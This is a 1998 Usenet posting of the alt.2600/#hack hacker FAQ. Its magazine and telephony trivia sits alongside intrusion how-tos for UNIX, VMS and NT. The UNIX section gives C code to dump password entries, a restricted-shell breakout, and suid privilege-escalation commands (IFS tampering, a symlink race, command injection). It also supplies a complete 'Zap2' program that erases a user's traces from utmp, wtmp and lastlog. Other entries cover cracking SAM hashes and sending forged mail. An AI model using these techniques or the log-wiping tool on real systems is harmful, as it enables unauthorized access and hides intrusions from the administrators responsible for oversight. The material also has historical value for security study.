alt.2600 FAQ


From: Harlequin
Date: Wednesday, July 22, 1998 9:09 AM
Newsgroup: alt.2600
Subject: alt.2600 FAQ



By Kubla Khan and Voyager.

Kubla Khan, in conjunction with A Stately Pleasure Dome Decreed and the Yalta 
Underground, proudly presents
The alt.2600/#hack FAQ, Beta 0.200 - Part 0/4: Master Table of Contents

Archive-name: alt.2600/#hack FAQ
Posting-frequency: random
Last-modified: Wed Feb 05 02:26:00 GMT 1998

I have broken the FAQ into 4 sections:
Introduction to 2600, Computing, Telephony, and Resources.
Each section is written in Minimal Digest Format and includes its own table of

contents.  This document is simply the master table of contents.


-------------------
I.  Introduction to 2600

Subject 1: Introduction and Intent

Subject 2: Table of Contents

Subject 3: 2600
U01. What is alt.2600?
02. What does "2600" mean?
03. Are there on-line versions of 2600 available?
04. I can't find 2600 at any bookstores.  What can I do?
05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

Subject 4: Miscellaneous
U01. What does XXX stand for?
J02. What are the ethics of hacking?
J03. Where can I get a copy of the alt.2600/#hack FAQ?

Subject 5: Carding
01. Why do you have such a little carding section just jammed in here?
02. How do I determine if I have a valid credit card number?
03. What is the layout of data on magnetic stripe cards?


-------------------
II.  Computing

Subject 1: Introduction and Intent

Subject 2: Table of Contents

Subject 3: UNIX
01. How do I access the password file under UNIX?
02. How do I crack UNIX passwords?
U03. What is password shadowing?
04. Where can I find the password file if it's shadowed?
05. What is NIS/yp?
U06. What are those weird characters after the comma in my passwd file?
07. How do I break out of a restricted shell?
08. How do I gain root from a suid script or program?
09. How do I erase my presence from the system logs?
U10. How do I change to directories with strange characters in them?

Subject 4: VMS
01. How do I access the password file under VMS?
02. How do I crack VMS passwords?
03. What can be logged on a VMS system?
U04. What privileges are available on a VMS system?
N05. How do I break out of a restrictive account?

Subject 5: NT
N01. How do I access the password file under NT?
N02. How do I crack NT passwords?

Subject 6: Mail and UseNet
U01. How do I send fakemail?
02. How do I fake posts and control messages to UseNet?
X03. What is an anonymous remailer?
X04. What are the addresses of some anonymous remailers?
05. How do I post to a moderated newsgroup?
06. How do I post to Usenet via e-mail?

Subject 7: IRC
01. How do I hack ChanOp on IRC?
02. How do I modify the IRC client to hide my real username?

Subject 8: Viruses
25. What is a trojan/worm/virus/logic bomb?
X26. How can I protect myself from viruses and such?
X27. Where can I get more information about viruses?

Subject 9: Crypto
01. What is Cryptoxxxxxxx?
02. What is PGP?

Subject 10: General Networking
01. What is ethernet sniffing?
02. What is an Internet Outdial?
X03. What are some Internet Outdials?
04. What port is XXX on?
05. What is 127.0.0.1?

Subject 11: Miscellaneous Systems Cracking
X01. What is this system?
U02. What are the default accounts for XXX ?
U03. How do I defeat a BIOS password?

Subject 12: Software
U01. How do I defeat copy protection?
X02. What is the password for ?
03. Is there any hope of a decompiler that would convert an executable
     program into C/C++ code?

Subject 13: Tempest
01. What is Tempest?
N02. How do I find out more about Tempest?


-------------------
III.  Telephony

Subject 1: Introduction and Intent

Subject 2: Table of Contents

Subject 3: Boxes
01. What is a Red Box?
X02. How do I build a Red Box?
X03. Where can I get a 6.5536Mhz crystal?
04. Which payphones will a Red Box work on?
05. How do I make local calls with a Red Box?
06. What is a Blue Box?
07. Do Blue Boxes still work?
08. What is a Black Box?
09. What do all the colored boxes do?

Subject 4: What is XXXXX?
01. What is an ANAC number?
02. What is a ringback number?
03. What is a loop?
04. What is a CNA number?
05. What is a Proctor Test Set?
06. What is a PBX?
07. What is a VMB?

Subject 5: DTMF
01. What are the DTMF frequencies?
J02. What are the ABCD tones for?
N03. A Quick Note About the Autovon

Subject 6: Caller ID
01. What is Caller-ID?
02. How do I block Caller-ID?

Subject 7: Cellular
01. What is an MTSO?
02. What is a NAM?
03. What is an ESN?
04. What is an MIN?
05. What is a SCN?
06. What is a SIDH?
07. What are the forward/reverse channels?

Subject 8: Miscellaneous
01. What is scanning?
02. Is scanning illegal?
X03. Where can I purchase a lineman's handset?
04. What are the frequencies of the telephone tones?
05. What are all of the * (LASS) codes?
06. What frequencies do cordless phones operate on?

Subject 9: Phone Number Lists
X01. What is the ANAC number for my area?
X02. What is the ringback number for my area?
X03. What is a loop in my area?
X04. What is the telephone company CNA number for my area?
X05. What are some numbers that always ring busy?
X06. What are some numbers that temporarily disconnect phone service?
X07. What is a Proctor Test Set in my area?
08. What are the International Direct Numbers?


-------------------
IV.  Resources

Subject 1: Introduction and Intent

Subject 2: Table of Contents

Subject 3: Resources
X01. What are some ftp sites of interest to hackers?
J02. What are some fsp sites of interest to hackers?
J03. What are some newsgroups of interest to hackers?
X04. What are some telnet sites of interest to hackers?
X05. What are some gopher sites of interest to hackers?
X06. What are some World wide Web (WWW) sites of interest to hackers?
07. What are some IRC channels of interest to hackers?
08. What are some BBS's of interest to hackers?
X09. What are some books of interest to hackers?
X10. What are some videos of interest to hackers?
J11. What are some mailing lists of interest to hackers?
12. What are some print magazines of interest to hackers?
13. What are some e-zines of interest to hackers?
14. What are some organizations of interest to hackers?
15. What are some radio programs of interest to hackers?
X16. What are other FAQ's of interest to hackers?
X17. Where can I purchase a magnetic stripe encoder/decoder?
18. What are the rainbow books and how can I get them?


U == Iíve already updated
N == Brand new
X == Really needs to be updated before we release
J == Really needs to be updated, and Iím already in the middle of doing
     it, so donít worry about it
[NOTE: A lot of the sections Iíve marked with an X have, in fact, been updated

by me to an extent, but not enough to my liking]

------------------------------

Subject: 1.  Introduction and Intent


The Intent of this FAQ is to provide you with a general introduction to the 
topics covered in alt.2600 and #hack.  No document will make you a hacker.  If

you have a question regarding any of the topics covered in the FAQ, please 
direct it to alt.2600.  Please do not e-mail me with them, as I do not have 
time to respond to each request personally.  If you find any errors in this 
document, please email kubla@thevortex.com about them.  If your copy of the 
alt.2600/#hack FAQ does not end with the letters EOF on a line by themselves, 
you do not have the entire FAQ.  FTP sites that will carry this new FAQ will
be available shortly.

I have decided to break this FAQ into 4 sections.  This document contains the 
Introduction to 2600 Section.  I will let the FAQ run like this for a few 
weeks, then I will probably create a master document that will act as the 
official FAQ and will be posted to news.answers in addition to alt.2600.  

This document is currently written in a half-assed implementation of the 
Minimal Digest Format (MDF).  If you have any problems with the format, or 
suggestions for better readability and archivability, please email me at 
kubla@thevortex.com

------------------------------

Subject: 2.  Table of Contents


Subject 1: Introduction and Intent

Subject 2: Table of Contents

Subject 3: 2600
U01. What is alt.2600?
02. What does "2600" mean?
03. Are there on-line versions of 2600 available?
04. I can't find 2600 at any bookstores.  What can I do?
05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

Subject 4: Miscellaneous
U01. What does XXX stand for?
J02. What are the ethics of hacking?
J03. Where can I get a copy of the alt.2600/#hack FAQ?

Subject 5: Carding
01. Why do you have such a little carding section just jammed in here?
02. How do I determine if I have a valid credit card number?
03. What is the layout of data on magnetic stripe cards?

------------------------------

Subject: 3.  2600


01. What is alt.2600?

Alt.2600 is a Usenet newsgroup for discussion of material relating to 2600 
Magazine, the Hacker Quarterly.  Len@netsys.com created the group on Emmanuel 
Goldstein's recommendation.  Emmanuel is the editor/publisher of 2600
Magazine.

Occasionally, the complaint comes up that usenet groups with all-number 
components to their names (such as the "2600" in alt.2600) are bad for certain

(old) usenet servers - this especially becomes an issue when new groups to the

alt.2600.* hierarchy are created.  We would like to point out that this issue 
is dated and hardly applies to the real world anymore, as most newsservers now

have no problem with all-number name components, and that complaining often 
does little more than exemplify incompetence.  In other words, to those of you

who would feel compelled to bring this issue up for the 42^23 time, we would 
politely ask that you FUCK OFF.  Thank-you.


02. What does "2600" mean?

2600Hz was a tone that was used by early phone phreaks (or phreakers) in the 
80's, and some currently.  If the tone was sent down the line at the proper 
time, one could get away with all sorts of fun stuff.  

A note from Emmanuel Goldstein:

"The Atari 2600 has NOTHING to do with blue boxes or telephones or the 2600 
hertz tone.  The 2600 hertz tone was simply the first step towards exploring 
the network.  If you were successful at getting a toll call to drop, then 
billing would stop at that point but there would be billing for the number 
already dialed up until the point of seizure.  800 numbers and long distance 
information were both free in the past and records of who called what were 
either non-existent or very obscure with regards to these numbers.  This, 
naturally, made them more popular than numbers that showed up on a bill, even 
if it was only for a minute.  Today, many 800 numbers go overseas, which 
provides a quick and free way into another country's phone system which may be

more open for exploration."


03. Are there on-line versions of 2600 available?

        No.


04. I can't find 2600 at any bookstores.  What can I do?

Subscribe.  Or, let 2600 know via the subscription address that you think 2600

should be in the bookstore.  Be sure to include the bookstores name and 
address.


05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

A note from Emmanuel Goldstein:

"We've been selling 2600 at the same newsstand price ($4) since 1988 and we 
hope to keep it at that price for as long as we can get away with it.  At the 
same time, $21 is about the right price to cover subscriber costs, including 
postage and record keeping, etc.  People who subscribe don't have to worry 
about finding an issue someplace, they tend to get issues several weeks before

the newsstands get them, and they can take out free ads in the 2600 
Marketplace.

"This is not uncommon in the publishing industry.  The NY Times, for example, 
costs $156.50 at the newsstands, and $234.75 delivered to your door."


------------------------------

Subject: 4.  Miscellaneous


01. What does XXX stand for?

TLA     Three Letter Acronym
ETLA    Extended Three Letter Acronym  (obviously, FLA would be a
        misnomer, thus this extended term for four letter acronyms)

ACL     Access Control List
PIN     Personal Identification Number
TCB     Trusted Computing Base

ALRU    Automatic Line Record Update
AN      Associated Number
ARSB    Automated Repair Service Bureau
ATH     Abbreviated Trouble History
BNF     Backus-Naur-Form
BOC     Bell Operating Company
BOR     Basic Output Report
BOSS    Business Office Servicing System
CA      Cable
COE     Central Office Equipment
COSMOS  Computer System for Main Frame Operations
CMC     Construction Maintenance Center
CNID    Calling Number IDentification
CO      Central Office
COCOT   Customer Owned Coin Operated Telephone
CRSAB   Centralized Repair Service Answering Bureau
DID     Direct Inbound Dialing
DDD     Direct Distance Dialing
ECC     Enter Cable Change
LD      Long Distance
LMOS    Loop Maintenance Operations System
MLT     Mechanized Loop Testing
NPA     Numbering Plan Area
PBX     Private Branch Exchange
POTS    Plain Old Telephone Service
RBOC    Regional Bell Operating Company
RSB     Repair Service Bureau
SS      Special Service
TAS     Telephone Answering Service
TH      Trouble History
TREAT   Trouble Report Evaluation and Analysis Tool
VMB     Voice Mail Box

ACiD    Ansi Creators in Demand
CCi     Cybercrime International
cDc     Cult of the Dead Cow 
FLT     Fairlight
HFC     Hell Fire Club 
iCE     Insane Creators Enterprise
iNC     International Network of Crackers
LOD     Legion of Doom 
NTA     The Nocturnal Trading Alliance
PDX     Paradox
PE      Public Enemy
PSY     Psychose
QTX     Quartex
RZR     Razor (1911)
S!P     Supr!se Productions
TDT     The Dream Team
THG     The Humble Guys
THP     The Hill People
TNO     The New Order 
TRSI    Tristar Red Sector Inc.
YxU     The Yalta Underground
UUDW    Union of United Death Workers


02. What are the ethics of hacking?

An excerpt from: Hackers: Heroes of the Computer Revolution
                          by Steven Levy

        Access to computers -- and anything which might teach you
        something about the way the world works -- should be unlimited
        and total. Always yield to the Hands-On imperative.

        All information should be free.

        Mistrust Authority.  Promote Decentralization.

        Hackers should be judged by their hacking, not bogus criteria
        such as degrees, age, race, or position.

        You can create art and beauty on a computer.

        Computers can change your life for the better.


03. Where can I get a copy of the alt.2600/#hack FAQ?

alt.2600.  When I release this version officially, itíll be put up on various 
FTP sites, and Iíll include them here then.

------------------------------

Subject: 3.  Carding


01. Why do you have such a little carding section just jammed in here?

Because Iím not into carding, and I didnít know where else to stick this 
section.  This section is my lowest priority.  If anybody else wants to write 
this section, go for it.  Email me at kubla@thevortex.com.


02. How do I determine if I have a valid credit card number?

Credit cards use the Luhn Check Digit Algorithm.  The main purpose of this 
algorithm is to catch data entry errors, but it does double duty here as a
weak security tool.

For a card with an even number of digits, double every odd numbered digit and 
subtract 9 if the product is greater than 9.  Add up all the even digits as 
well as the doubled-odd digits, and the result must be a multiple of 10 or
it's not a valid card.  If the card has an odd number of digits, perform the
same addition doubling the even numbered digits instead.


03. What is the layout of data on magnetic stripe cards?

A standard card may have any of three tracks, or a combination of these
tracks.

Track 1 was the first track standardized.  It was developed by the 
International Air Transportation Association (IATA) and is still reserved for 
their use.  It is 210bpi with room for 79 characters.  It includes the primary

account number (up to 18 digits) and the name (up to 26 alphanumeric 
characters).

Track 2 was developed by the American Bankers Association (ABA) for on-line 
financial transactions.  It is 75bpi with room for 40 numeric characters.  It 
includes the account number (up to 19 digits).

Track 3 is also used for financial transactions.  The difference is its 
read/write ability.  It is 210bpi with room for 107 numeric digits.  It 
includes an enciphered PIN, country code, currency units, amount authorized, 
subsidiary account information and other restrictions.

For more information, read the ANSI/ISO 7811/1-5 standard.  This document is 
available from the American Bankers Association.


------------------------------

Subject: 1.  Introduction and Intent

As above

------------------------------

Subject: 2.  Table of Contents


Subject 1: Introduction and Intent

Subject 2: Table of Contents

Subject 3: UNIX
01. How do I access the password file under UNIX?
02. How do I crack UNIX passwords?
U03. What is password shadowing?
04. Where can I find the password file if it's shadowed?
05. What is NIS/yp?
U06. What are those weird characters after the comma in my passwd file?
07. How do I break out of a restricted shell?
08. How do I gain root from a suid script or program?
09. How do I erase my presence from the system logs?
U10. How do I change to directories with strange characters in them?

Subject 4: VMS
01. How do I access the password file under VMS?
02. How do I crack VMS passwords?
03. What can be logged on a VMS system?
U04. What privileges are available on a VMS system?
N05. How do I break out of a restrictive account?

Subject 5: NT
N01. How do I access the password file under NT?
N02. How do I crack NT passwords?

Subject 6: Mail and UseNet
U01. How do I send fakemail?
02. How do I fake posts and control messages to UseNet?
X03. What is an anonymous remailer?
X04. What are the addresses of some anonymous remailers?
05. How do I post to a moderated newsgroup?
06. How do I post to Usenet via e-mail?

Subject 7: IRC
01. How do I hack ChanOp on IRC?
02. How do I modify the IRC client to hide my real username?

Subject 8: Viruses
25. What is a trojan/worm/virus/logic bomb?
X26. How can I protect myself from viruses and such?
X27. Where can I get more information about viruses?

Subject 9: Crypto
01. What is Cryptoxxxxxxx?
02. What is PGP?

Subject 10: General Networking
01. What is ethernet sniffing?
02. What is an Internet Outdial?
X03. What are some Internet Outdials?
04. What port is XXX on?
05. What is 127.0.0.1?

Subject 11: Miscellaneous Systems Cracking
X01. What is this system?
U02. What are the default accounts for XXX ?
U03. How do I defeat a BIOS password?

Subject 12: Software
U01. How do I defeat copy protection?
X02. What is the password for ?
03. Is there any hope of a decompiler that would convert an executable
     program into C/C++ code?

Subject 13: Tempest
01. What is Tempest?
N02. How do I find out more about Tempest?

------------------------------

Subject: 3. UNIX


01. How do I access the password file under UNIX?

In standard UNIX the password file is /etc/passwd.  On a UNIX system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere.  An entry in the password file consists of seven colon
delimited fields:

Username
Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory
Shell

] Sample entry from /etc/passwd:
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash

Broken down, this passwd file line shows:

Username: will
Encrypted password: 5fg63fhD3d5gh
User number: 9406
Group Number: 12
GECOS Information: Will Spencer
Home directory: /home/fsg/will
Shell: /bin/bash


02. How do I crack UNIX passwords?

Contrary to popular belief, UNIX passwords cannot be decrypted.  UNIX
passwords 
are encrypted with a one way function.  The login program encrypts the text
you enter at the "password:" prompt and compares that encrypted string against
the encrypted form of your password.  Password cracking software uses
wordlists.  Each word in the wordlist is encrypted and the results are
compared to the encrypted form of the target password.  The best cracking
program for UNIX passwords is currently Crack by Alec Muffett.  For PC-DOS,
the best package to use is currently CrackerJack.  CrackerJack is available
via ftp from clark.net /pub/jcase/.


03. What is password shadowing?

Password shadowing is a security system where the encrypted password field of 
/etc/passwd is replaced with a special token and the encrypted password is 
stored in a separate file which is not readable by normal system users.

To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.  Actually, this hardly works at all anymore, and is just 
included for its legacy value.

=======================

#include 
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}

=======================


04. Where can I find the password file if it's shadowed?

UNIX                  Path                            Token
----                  ----                            -----
AIX 3                 /etc/security/passwd            !
       or             /tcb/auth/files//
A/UX 3.0s             /tcb/files/auth/?/*
BSD4.3-Reno           /etc/master.passwd              *
ConvexOS 10           /etc/shadpw                     *
ConvexOS 11           /etc/shadow                     *
DG/UX                 /etc/tcb/aa/user/               *
EP/IX                 /etc/shadow                     x
HP-UX                 /.secure/etc/passwd             *
IRIX 5                /etc/shadow                     x
Linux 1.1             /etc/shadow                     *
OSF/1                 /etc/passwd[.dir|.pag]          *
SCO UNIX #.2.x        /tcb/auth/files//
SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
SunOS 5.0             /etc/shadow
                      
System V Release 4.0  /etc/shadow                     x
System V Release 4.2  /etc/security/* database
Ultrix 4              /etc/auth[.dir|.pag]            *
UNICOS                /etc/udb                        *


05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once known
as yp (Yellow Pages).  The purpose for NIS is to allow many machines on a
network to share configuration information, including password data.  NIS is
not designed to promote system security.  If your system uses NIS you will
have a very short /etc/passwd file that includes a line that looks like this:
+::0:0:::
To view the real password file use this command "ypcat passwd"


06. What are those weird characters after the comma in my passwd file? 

The characters are password aging data.  Password aging forces the user to 
change passwords after a System Administrator specified period of time.  
Password aging can also force a user to keep a password for a certain number
of weeks before changing it.

] Sample entry from /etc/passwd with password aging installed:
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash

Note the comma in the encrypted password field.  The characters after the
comma 
are used by the password aging mechanism.

] Password aging characters from above example:
] M.z8

The four characters are interpreted as follows:

  1: Maximum number of weeks a password can be used without changing.
  2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be forced to 
change his/her passwd the next time he/she logs in.  The passwd program will 
then remove the passwd aging characters, and the user will not be subjected to

password aging requirements again.

If the third and fourth characters are set to '..' the user will be forced to 
change his/her passwd the next time he/she logs in. Password aging will then 
occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN), the user

is not allowed to change his/her password.  Only root can change that users 
password.

It should also be noted that the su command does not check the password aging 
data.  An account with an expired password can be su'd to without being forced

to change the password.

                        Password Aging Codes
+----------------------------------------------------------------------+
|
| Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H
|    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19
|
| Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b
|    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
|
| Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v
|    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
|
| Character:  w  x  y  z
|    Number: 60 61 62 63
|
+----------------------------------------------------------------------+


07. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the restricted 
environment by running a program that features a shell function.  A good 
example is vi.  Run vi and use this command:

:set shell=/bin/sh

then shell using this command:

:shell

If your restricted shell prevents you from using the "cd" command, ftp into 
your account and you may be able to cd.


08. How do I gain root from a suid script or program?

1. Change IFS.
If the program calls any other programs using the system() function call, you 
may be able to fool it by changing IFS.  IFS is the Internal Field Separator 
that the shell uses to delimit arguments.
If the program contains a line that looks like this:
system("/bin/date")
and you change IFS to '/' the shell will them interpret the proceeding line
as:
bin date
Now, if you have a program of your own in the path called "bin" the suid 
program will run your program instead of /bin/date.
To change IFS, use this command:
IFS='/';export IFS      # Bourne Shell
setenv IFS '/'          # C Shell
export IFS='/'          # Korn Shell

2. link the script to -i
Create a symbolic link named "-i" to the program.  Running "-i" will cause the

interpreter shell (/bin/sh) to start up in interactive mode.  This only works 
on suid shell scripts.
Example:
% ln suid.sh -i
% -i
#

3. Exploit a race condition
Replace a symbolic link to the program with another program while the kernel
is loading /bin/sh.
Example:
nice -19 suidprog ; ln -s evilprog suidroot

4. Send bad input to the program.
Invoke the name of the program and a separate command on the same command
line.
Example:
suidprog ; id


09. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files 
that can be edited by hand with vi, you must use a program specifically
written for this purpose.  For example, the one we conveniently provide here:

=======================

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}

=======================


10. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information, most 
often warez (commercial software).  There are several things you can do to 
determine what these strange characters are.  One is to use the arguments to 
the ls command that cause ls to give you more information:

From the man page for ls:

    -F   Causes directories to be marked with a trailing ``/'',
         executable files to be marked with a trailing ``*'', and
         symbolic links to be marked with a trailing ``@'' symbol.

    -q   Forces printing of non-graphic characters in filenames as the
         character ``?''.

    -b   Forces printing of non-graphic characters in the \ddd
         notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to save the 
directory of the remote ftp site as a file on your local machine.  Then you
can do a "cat -t -v -e filename" to see exactly what those bizarre little 
characters are.

From the man page for cat:

    -v  Causes non-printing characters (with the exception of tabs,
        newlines, and form feeds) to be displayed.  Control characters
        are displayed as ^X (x), where X is the key pressed with
        the  key (for example, m is displayed as ^M).  The
        ; character (octal 0177) is printed as ^?.  Non-ASCII
        characters (with the high bit set) are printed as M -x, where
        x is the character specified by the seven low order bits.

    -t  Causes tabs to be printed as ^I and form feeds as ^L.  This
        option is ignored if the -v option is not specified.

    -e  Causes a ``$'' character to be printed at the end of each line
        (prior to the new-line).  This option is ignored if the -v
        option is not set.

If the directory name includes a  or a  you will need to
enclose the entire directory name in quotes.  Example:

cd ".."

In the amazingly unlikely event that youíre trying to access such a directory 
on an IBM-PC, you may enter these special characters by holding down the 

key and entering the decimal value of the special character on your numeric 
keypad.  When you release the  key, the special character should appear
on your screen.  An ASCII chart can be very helpful.

Sometimes people will create directories with some of the standard stty
control characters in them, such as ^Z (suspend) or ^C (intr).  To get into
those directories, you will first need to user stty to change the control
character in question to another character.

From the man page for stty:
    Control assignments

    control-character C
       Sets control-character to C, where
       control-character is erase, kill, intr (interrupt),
       quit, eof, eol, swtch(switch), start, stop or susp.

       start and stop are available as possible control
       characters for the control-character C assignment.

       If C is preceded by a caret (^) (escaped from the
       shell), then the value used is the corresponding
       control character (for example, ^D is a d;
       ^? is interpreted as DELETE and ^- is interpreted
       as undefined).

Use the stty -a command to see your current stty settings, and to determine 
which one is causing you problems.

------------------------------

Subject: 4.  VMS


01. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  However, unlike UNIX, 
most users do not have access to read the password file.


02. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the results of 
encrypted words against the encrypted data in SYSUAF.DAT.  Two such programs 
are known to exist, CHECK_PASSWORD and GUESS_PASSWORD.


03. What can be logged on a VMS system?

Virtually every aspect of the VMS system can be logged for investigation.  To 
determine the status of the accounting on your system use the command SHOW 
ACCOUNTING.  System accounting is a facility for recording information about 
the use of the machine from a system accounting perspective (resource logging 
such as CPU time, printer usage etc.), while system auditing is done with the 
aim of logging information for the purpose of security.  To enable accounting:

$ SET ACCOUNTING  [/ENABLE=(Activity...)] 

This enables accounting logging information to the accounting log file 
SYS$MANAGER:ACCOUNTING.DAT.  This also is used to close the current log file 
and open a new one with a higher version number. 

The following activities can be logged:
        BATCH                   Termination of a batch job
        DETACHED                Termination of a detached job
        IMAGE                   Image execution
        INTERACTIVE             Interactive job termination
        LOGIN_FAILURE           Login failures
        MESSAGE                 Users messages
        NETWORK                 Network job termination
        PRINT                   Print Jobs
        PROCESS                 Any terminated process
        SUBPROCESS              Termination of  a subprocess

To enable security auditing use:

$ SET AUDIT [/ENABLE=(Activity...)]

The /ALARM qualifier is used to raise an alarm to all terminals approved as 
security operators, which means that you need the SECURITY privileges.  You
can determine your security auditing configuration using

$ SHOW AUDIT /ALL

The security auditor can be configured to log the following activities: 

        ACL                     Access Control List requested events
        AUTHORIZATION           Modification to the system user
                                authorization file
                                SYS$SYSTEM:SYSUAF.DAT
        BREAKIN                 Attempted Break-ins
        FILE_ACCESS             File or global section access
        INSTALL                 Occurrence of any INSTALL operations
        LOGFAILURE              Any login failures
        LOGIN                   A login attempt from various sources
        LOGOUT                  Logouts 
        MOUNT                   Mount or dismount requests


04. What privileges are available on a VMS system?

Bear in mind that not only users are given priveleges; priveleges may be 
installed onto programs.  When running a program with high level priveleges, 
the user does not get these priveleges; rather, only the process executing the

task.

ACNT            Allows you to restrain accounting messages
ALLSPOOL        Allows you to allocate spooled devices
ALTPRI          Allot Priority.  This allows you to set any priority
                value
AUDIT           Allows software to append to audit records to the system
                security audit log file.   Therefore permits the logging
                of events that appear to come from the operating system 
BUGCHK          Allows you make bug check error log entries
BYPASS          Enables you to disregard protections
CMEXEC/  
CMKRNL          Change to executive or kernel mode.  Allows a process to
                execute optional routines with KERNEL and EXECUTIVE
                access modes.  One must have these privileges to gain
                access to the kernel data structures directly.
DETACH          This privilege allow you to create detached processes of
                arbitrary UICs
DIAGNOSE        With this privilege you can diagnose devices
DOWNGRADE       Permits a process to manipulate mandatory access
                controls
EXQUOTA         Allows you to exceed your disk quota
GROUP           This privilege grants you permission to  affect other
                processes in the same rank
GRPNAM          Allows you to insert group logical names into the group
                logical names table.
GRPPRV          Enables you to access system group objects through
                system protection field
IMPORT          Lets a process manipulate mandatory access controls,
                eg, lets a process mount unlabeled tape volumes.
                Reserved for enhanced security products like SEVMS. 
LOG_IO          Allows you to issue logical input output requests
MOUNT           May execute the mount function
NETMBX          Allows you to create network connections
OPER            Allows you to perform operator functions
PFNMAP          Allows you to map to specific physical pages
PHY_IO          Allows you to perform physical input output requests
PRMCEB          Can create permanent common event clusters
PRMGBL          Allows you to create permanent global sections
PRMMBX          Allows you to create permanent mailboxes
PSWAPM          Allows you to change a processes swap mode
READALL         Allows you read access to everything
SECURITY        Enables you to perform security  related functions
SETPRV          Enable all privileges
SHARE           Allows you to access devices allocated to other users.
                This is used to assign system mailboxes.
SHMEM           Enables you to modify objects in shared memory
SYSGBL          Allows you to create system wide permanent global
                sections
SYSLCK          Allows you to lock system wide resources
SYSNAM          Allows you to insert in system logical names in the
                names table.
SYSPRV          If a process holds this privilege then it is the same as
                a process holding the system user identification code.
TMPMBX          Allows you create temporary mailboxes
UPGRADE         Lets a process manipulate access controls.  Reserved for
                enhanced security products like SEVMS 
VOLPRO          Enables you to override volume protection
WORLD           When this is set you can affect other processes in the
                world

To determine what privileges your process is running with issue the command:

$ show proc/priv


05. How do I break out of a restrictive account?

VMS startup routines are found in LOGIN.COM in a userís home directory.  In 
many, but not all, cases, simply trying Ctrl-C when LOGIN.COM is running will 
work to break out of restrictive setups.  You can also try keeping LOGIN.COM 
from running by logging in with the /NOCOMMAND flag directly after your 
username at the USERNAME prompt.

------------------------------

Subject: 5. NT


01. How do I access the password file under NT?

In NT the password file can be found as:
\\WINNT\SYSTEM32\CONFIG\SAM  Main password file
\\WINNT\REPAIR               Backup password file

Note that the backup file is often left unupdated since installation; it would

therefore have only Administrator and Guest entries.  Administrator should be 
all you need, provided the password was not changed at some later date.


02. How do I crack NT passwords?

Contrary to popular belief, NT passwords are not located on the server.  One 
way hashes of the passwords are located there.  Windows NT passwords are 
derived by converting the usersí passwords to Unicode, and using MD4 to get a 
16 byte value.    

In order to crack NT passwords, a collection of usernames and their 
corresponding one way hashes (there are two, the lanman password and NT 
password) need to be extracted from SAM.  Jeremy Allisonís PWDUMP can do this,

as can LHIís L0phtCrack.  L0phtcrack can also crack both the NT and lanman 
passwords, with a combination dictionary and brute force attack.  L0phtCrack 
can be obtained from the L0pht ftp site, ftp.l0pht.com.

------------------------------

Subject: 2. Mail/UseNet


14. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to originate
from.

